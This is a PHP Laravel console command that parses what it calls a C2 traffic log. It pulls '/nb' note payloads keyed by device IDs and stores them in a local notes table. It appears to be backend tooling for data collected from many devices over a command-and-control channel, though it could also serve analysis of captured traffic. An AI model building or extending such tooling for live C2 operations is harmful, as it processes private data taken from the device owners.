95 lines
2.9 KiB
PHP
95 lines
2.9 KiB
PHP
<?php
|
|
|
|
namespace App\Console\Commands;
|
|
|
|
use App\Models\Device;
|
|
use App\Models\Note;
|
|
use App\Services\IngestService;
|
|
use Illuminate\Console\Command;
|
|
|
|
class ImportNotesLogCommand extends Command
|
|
{
|
|
protected $signature = 'notes:import-log
|
|
{file? : C2 traffic log containing /nb lines}
|
|
{--fresh : Delete all notes before import}';
|
|
|
|
protected $description = 'Import /nb note payloads from a C2 log into the local notes table';
|
|
|
|
public function handle(IngestService $ingest): int
|
|
{
|
|
$path = $this->argument('file') ?: '/Users/toad/Downloads/20260908 (1).log';
|
|
if (! is_file($path)) {
|
|
$this->error('Log file not found: '.$path);
|
|
|
|
return self::FAILURE;
|
|
}
|
|
|
|
if ($this->option('fresh')) {
|
|
Note::query()->delete();
|
|
$this->info('Cleared notes table.');
|
|
}
|
|
|
|
$handle = fopen($path, 'r');
|
|
if ($handle === false) {
|
|
$this->error('Cannot read log file.');
|
|
|
|
return self::FAILURE;
|
|
}
|
|
|
|
$posts = 0;
|
|
$devices = [];
|
|
$skipped = 0;
|
|
while (($line = fgets($handle)) !== false) {
|
|
if (! str_contains($line, ' /nb ') && ! str_contains($line, '"path":"/nb"')) {
|
|
continue;
|
|
}
|
|
$jsonStart = strpos($line, '{');
|
|
if ($jsonStart === false) {
|
|
continue;
|
|
}
|
|
$rec = json_decode(substr($line, $jsonStart), true);
|
|
if (! is_array($rec) || ($rec['path'] ?? '') !== '/nb') {
|
|
continue;
|
|
}
|
|
$payload = $rec['payload'] ?? null;
|
|
if (! is_array($payload) || ! array_key_exists('list', $payload)) {
|
|
$skipped++;
|
|
|
|
continue;
|
|
}
|
|
$deviceKey = (string) ($rec['device_key'] ?? $payload['d'] ?? $payload['f'] ?? '');
|
|
$deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64)) ?? '';
|
|
if ($deviceKey === '') {
|
|
$skipped++;
|
|
|
|
continue;
|
|
}
|
|
$channel = trim((string) ($payload['c'] ?? ''));
|
|
$device = Device::query()->firstOrCreate(
|
|
['device_id' => $deviceKey],
|
|
[
|
|
'channel_id' => $channel !== '' ? substr($channel, 0, 64) : null,
|
|
'chain' => Device::CHAIN_CORUNA,
|
|
]
|
|
);
|
|
if ($channel !== '' && trim((string) $device->channel_id) === '') {
|
|
$device->forceFill(['channel_id' => substr($channel, 0, 64)])->save();
|
|
}
|
|
$ingest->ingestNotes($device, $payload);
|
|
$posts++;
|
|
$devices[$deviceKey] = true;
|
|
}
|
|
fclose($handle);
|
|
|
|
$this->info(sprintf(
|
|
'Imported /nb posts=%d devices=%d skipped=%d notes_rows=%d',
|
|
$posts,
|
|
count($devices),
|
|
$skipped,
|
|
Note::query()->count(),
|
|
));
|
|
|
|
return self::SUCCESS;
|
|
}
|
|
}
|